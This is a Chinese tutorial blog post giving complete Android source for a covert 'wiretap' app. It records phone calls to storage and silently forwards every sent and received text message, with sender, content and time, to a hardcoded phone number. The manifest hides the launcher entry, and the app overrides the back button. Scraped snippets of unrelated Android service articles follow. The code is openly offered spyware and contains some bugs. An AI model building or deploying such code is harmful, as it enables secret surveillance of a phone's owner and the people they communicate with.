Android service 服务的应用之电话监听器以及短信监听器

首先建立一个项目工程文件,如下图所示:

首先在MainActivity.java文件启动电话和短信的界面,代码如下

 1 package com.xunfang.wiretap;
 2
 3 import com.xunfang.observer.MyObserver;
 4 import com.xunfang.services.PhoneService;
 5
 6 import android.support.v7.app.ActionBarActivity;
 7 import android.content.Intent;
 8 import android.net.Uri;
 9 import android.os.Bundle;
10 import android.os.Handler;
11 import android.view.Menu;
12 import android.view.MenuItem;
13
14
15 public class MainActivity extends ActionBarActivity {
16
17     @Override
18     protected void onCreate(Bundle savedInstanceState) {
19         super.onCreate(savedInstanceState);
20         //电话
21         setContentView(R.layout.activity_main);
22         Intent intent = new Intent(this,PhoneService.class);
23         startService(intent);
24         //短信
25         Uri uri = Uri.parse("conten://sms");
26         getContentResolver().registerContentObserver(uri, true, new MyObserver(this,new Handler()));
27
28     }
29     @Override
30     public void onBackPressed() {
31     }
32 }

然后进入电话管理服务界面PhoeService.java界面。代码如下

 1 package com.xunfang.phoneservice;
 2
 3 import java.io.IOException;
 4
 5 import android.app.Service;
 6 import android.content.Intent;
 7 import android.media.MediaRecorder;
 8 import android.os.IBinder;
 9 import android.telephony.PhoneStateListener;
10 import android.telephony.TelephonyManager;
11
12 public class PhoneService extends Service {
13
14     // 管理电话
15     private TelephonyManager tm;
16
17     private MyListener listener;
18
19     // 创建一个收音机
20     private MediaRecorder mr;
21
22     @Override
23     public IBinder onBind(Intent intent) {
24         return null;
25     }
26
27     @Override
28     public void onCreate() {
29         super.onCreate();
30         // 实例化
31         tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
32
33         // 监听电话的状态
34         listener = new MyListener();
35         // 注册监听者,监听电话的状态
36         tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
37     }
38
39     private class MyListener extends PhoneStateListener {
40         @Override
41         public void onCallStateChanged(int state, String incomingNumber) {
42             super.onCallStateChanged(state, incomingNumber);
43
44             switch (state) {
45             case TelephonyManager.CALL_STATE_IDLE: // 空闲状态
46                 System.out.println("电话空闲");
47                 if (mr != null) {
48                     // 说明录音机停止录音了
49                     mr.stop();
50                     mr.release();
51                     mr = null;
52                 }
53                 break;
54             case TelephonyManager.CALL_STATE_OFFHOOK: // 摘机状态(通话状态)
55                 System.out.println("通话状态");
56                 // 1.创建一个收音机
57                 mr = new MediaRecorder();
58                 // 2.设置音源
59                 mr.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL); // ZET
60                 // 3.设置录制音频的格式
61                 mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
62                 // 4设置音频的采样率
63                 mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
64                 // 5.设置录制的文件放置的位置
65                 mr.setOutputFile("/mnt/sdcard/xxx.avi");
66                 // 6.准备录制
67                 try {
68                     mr.prepare();
69                 } catch( Exception e) {
70                     e.printStackTrace();
71                 }
72                 // 7.开始录制
73                 mr.start();
74
75                 break;
76             case TelephonyManager.CALL_STATE_RINGING: // 响铃状态
77                 System.out.println("响铃状态");
78                 break;
79             }
80         }
81     }
82
83 }

然后进入管理短信服务界面MyObserver.java,代码如下所示

 1 package com.xunfang.observer;
 2
 3 import java.text.SimpleDateFormat;
 4 import java.util.Date;
 5
 6 import android.content.ContentResolver;
 7 import android.content.Context;
 8 import android.database.ContentObserver;
 9 import android.database.Cursor;
10 import android.net.Uri;
11 import android.os.Handler;
12 import android.telephony.SmsManager;
13
14 public class MyObserver extends ContentObserver {
15     private Context context;
16     public MyObserver(Context context,Handler handler) {
17         super(handler);
18         this.context = context;
19     }
20
21     @Override
22      public void onChange(boolean selfChange, Uri uri) {
23         ContentResolver resolver = context.getContentResolver();
24         Cursor cursor = resolver.query(uri, new String[]{"address","body","type","date"}, null, null, "date desc");
25         cursor.moveToFirst();
26         String address = cursor.getString(0);
27         String body = cursor.getString(1);
28         int type = cursor.getInt(2);
29         long date = cursor.getLong(3);
30         //将日期格式化,按这个模式输出日期
31         String time = new SimpleDateFormat("yyy-MM-dd hh:mm:ss").format(new Date(date));
32         //type=1,表示发送短信,而type=2是表示接收短信,这个可以默认系统短信的数据库表导出来看一下
33         if(type ==2 ){
34             String sms = "检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time;
35             String phone = "18883278692";  //这个电话号码是你要将这个信息发送到哪个人的电话号码
36             //拿到默认短信管理器
37             SmsManager sm = SmsManager.getDefault();
38             //发送短信
39             sm.sendTextMessage(phone, null, sms, null, null) ;
40             System.out.println("检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time );
41         }
42         if(type == 1){
43             String sms = "检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time;
44             String phone = "18883278692";      //这个电话号码是你要将这个信息发送到哪个人的电话号码
45             SmsManager sm = SmsManager.getDefault();
46             sm.sendTextMessage(phone, null, sms, null, null) ;
47             System.out.println("检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time );
48         }
49      }
50
51
52 }

代码到这里就差不多了,不过千万不要忘了添加权限和服务的申明,在AndroidManifest.xml配置如下

 1 <?xml version="1.0" encoding="utf-8"?>
 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
 3     package="com.xunfang.wiretap"
 4     android:versionCode="1"
 5     android:versionName="1.0" >
 6
 7     <uses-sdk
 8         android:minSdkVersion="8"
 9         android:targetSdkVersion="21" />
10     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
11     <uses-permission android:name="android.permission.RECORD_AUDIO"/>
12     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
13     <uses-permission android:name="android.permission.INTERNET"/>
14     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
15     <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
16     <uses-permission android:name="android.permission.WRITE_SMS"/>
17     <uses-permission android:name="android.permission.READ_SMS"/>
18     <uses-permission android:name="android.permission.SEND_SMS"/>
19
20     <application
21         android:allowBackup="true"
22         android:icon="@drawable/ic_launcher"
23         android:label="@string/app_name"
24         android:theme="@style/AppTheme" >
25        <!--  <activity
26             android:name=".MainActivity"
27             android:label="@string/app_name" >
28             <intent-filter>
29                 <action android:name="android.intent.action.MAIN" />
30
31                 <category android:name="android.intent.category.LAUNCHER" />
32             </intent-filter>
33         </activity> -->
34         <service
35             android:name="com.xunfang.services.PhoneService"></service>
36          <receiver
37             android:name="com.xunfang.broadrecevice.MyBroadReceiver"
38             >
39             <intent-filter >
40                 <action
41                     android:name="android.intent.action.NEW_OUTGOING_CALL"
42                     />
43             </intent-filter>
44         </receiver>
45     </application>
46
47 </manifest>

到这里已经全部配置完成,可以用真实机进行测试。

时间: 2024-10-27 18:56:38

Android service 服务的应用之电话监听器以及短信监听器的相关文章

Android Service服务——初识

很抱歉(对我,也是对大家)过了两个星期说好的要发的博客迟迟没有动静,因为最近在与高等数学死磕,同时参加了一个党内的培训,所以现在的学习生活有些紧张,自己的的草稿都堆积了好几篇了,现在我就对于我应朋友之情需要完成一个android的播放器,对于其中的一些简单的要点,写一些自己的感悟. 首先我要提到的时Android  Service服务,其实我接触到Service这个概念的时间并不长,首先在做这个不能算作工程的东西时,我就想到了,android需要有这样的一个机制,通过一个程序去控制歌曲的播放,同

Android Service服务-(转)

Service是Android系统中提供的四大组件之一.它是运行在后台的一种服务,一般声明周期较长,不直接与用户进行交互. 服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务.这两个方法都可以启动Service,但是它们的使用场合有所不同.    1. 使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行.    如果打算采用Context.startService(

Android Service 服务(三)—— bindService与remoteService

(转自:http://blog.csdn.net/ithomer/article/details/7366396)   一.bindService简介 bindService是绑定Service服务,执行service服务中的逻辑流程. service通过Context.startService()方法开始,通过Context.stopService()方法停止:也可以通过Service.stopSelf()方法或者Service.stopSelfResult()方法来停止自己.只要调用一次st

无废话Android之activity的生命周期、activity的启动模式、activity横竖屏切换的生命周期、开启新的activity获取他的返回值、利用广播实现ip拨号、短信接收广播、短信监听器(6)

1.activity的生命周期 这七个方法定义了Activity的完整生命周期.实现这些方法可以帮助我们监视其中的三个嵌套生命周期循环: (1)Activity的完整生命周期 自第一次调用onCreate()开始,直到调用onDestory()为止.Activity在onCreate()中设置所有“全局”状态以完成初始化. 而在onDestory()中释放所有系统资源.例如,如果Activity有一个线程在后台运行从网络下载数据,它会在onCreate()创建线程, 而在onDestory()销

Android开发手记(15) 拨打电话和收发短信

1.Intent简介 Android组价之间的通信,由Intent来协助完成.Intent负责对应用中一次操作的动作.动作涉及数据.附加数据进行描述,Android则根据此Intent的描述,负责找到对应的组件,将 Intent传递给调用的组件,并完成组件的调用. Intent可以启动一个Activity,也可以启动一个Service,还可以发起一个广播Broadcasts.分别通过startActivity();startService();startBroadcasts();来执行操作. 在

拨打电话与发送短信功能

设计界面如下图如示,在编辑框中只接受电话号码,实现“拨打电话”和“发送短信”的功能 1 <?xml version="1.0" encoding="utf-8"?> 2 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" 3 xmlns:tools="http://schemas.android.com/tools"

iPhone 和Android应用,特殊的链接:打电话,短信,email;

http://ice-k.iteye.com/blog/1426526 下面的这篇文章主要是说,网页中的链接如何写,可以激活电话的功能. 例如,页面中展示的是一个电话号码,当用户在手机浏览器里面点击这个电话号码的时候,手机会弹出拨号的面板,或者是短信程序会启动等. 1. 打电话 在android的浏览器中,如果电话号码是 XXX-XXX-XXXX的型式的话,用户点击的时候,拨号面板会激活,但是如果不是这一特定的格式,那么拨号功能是不会启动的.其实可以通过链接的方式激活拨号面板. (1) IPho

Android Service 服务(一)—— Service

一. Service简单介绍 Service是android 系统中的四大组件之中的一个(Activity.Service.BroadcastReceiver.ContentProvider),它跟Activity的级别差点儿相同,但不能自己执行仅仅能后台执行,而且能够和其它组件进行交互.service能够在非常多场合的应用中使用,比方播放多媒体的时候用户启动了其它Activity这个时候程序要在后台继续播放,比方检測SD卡上文件的变化,再或者在后台记录你地理信息位置的改变等等,总之服务总是藏在

Android service 服务

Android的服务: 1:已启动方式: startService()和bindService(): startService:启动后,如果Activity关闭了,服务依然运行,除非stopService: bindService:创建开启服务器,但是在程序关闭的时候,会自动关闭服务: 通过ServiceConnectionjava接口获取service的IBinder接口: 2:控制服务(绑定服务): (1)但是上述两个方式都是通过Intent创建启动服务的,没有通过new,所以没有直接控制s